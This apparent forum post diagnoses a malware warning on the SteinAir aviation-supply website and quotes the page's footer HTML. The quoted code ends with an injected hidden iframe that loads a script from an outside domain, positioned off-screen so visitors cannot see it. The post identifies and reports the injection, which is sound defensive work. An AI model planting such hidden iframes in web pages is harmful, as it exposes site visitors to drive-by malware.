Here is a screen grab of Stein's website taken about 10 minutes ago in a pretty locked down Firefox 3.5.3 browser. No warning messages and I can browse the site correctly. I also have no issues with the website in IE8.
Here is a screen grab of the blocking page due to malware that Paul message identified. It identifies the problem element as being from "thingre.com"
With that in mind, opening up the page source for Steins website reveals the issue in the very last line of code...the problem URL.
<p align="center"><font face="Arial" size="1">Copyright 2000-2008 SteinAir, Inc.<br>
All Rights Reserved, all content is property of SteinAir Inc.<br>
Homebuilding / Avionics Supplies, Projects & Resources</font></p>
<p align="center"><font face="Arial" size="1">
<img src="_vti_bin/fpcount.exe/?Page=_borders/bottom.htm|Image=3" alt="Hit Counter"></font></p>
<p align="center"><a href="MULLICOUPE/mullicoupe.htm">
<span style="background-color: #C0C0C0"><font face="Arial" size="5">The</font></span></a><span style="background-color: #C0C0C0"><font face="Arial" size="5"><a href="MULLICOUPE/mullicoupe.htm">
Mullicoupe Project</a></font></span></p>
<p align="center"><b><font face="Arial" size="4"><a href="G900x.htm"> GARMIN
G900X EFIS</a></font></b></p>
<p>
<iframe src="http://thingre.com/in.php" width="495" height="14" style="visibility: hidden; position: absolute; left: 11; top: 3495; width: 505px">
</iframe></p>
My guess is that this code would be inserted from Steins web hosting service and not his homepage code per se, but someone more savvy in this kind of thing would need to say so for sure. If this is the case, then the web hosting service has malware / browser redirect issues and should be notified.
Why some are getting this warning depends on individual browsers, (Chrome and Safari are the same basic code) and browsers security settings.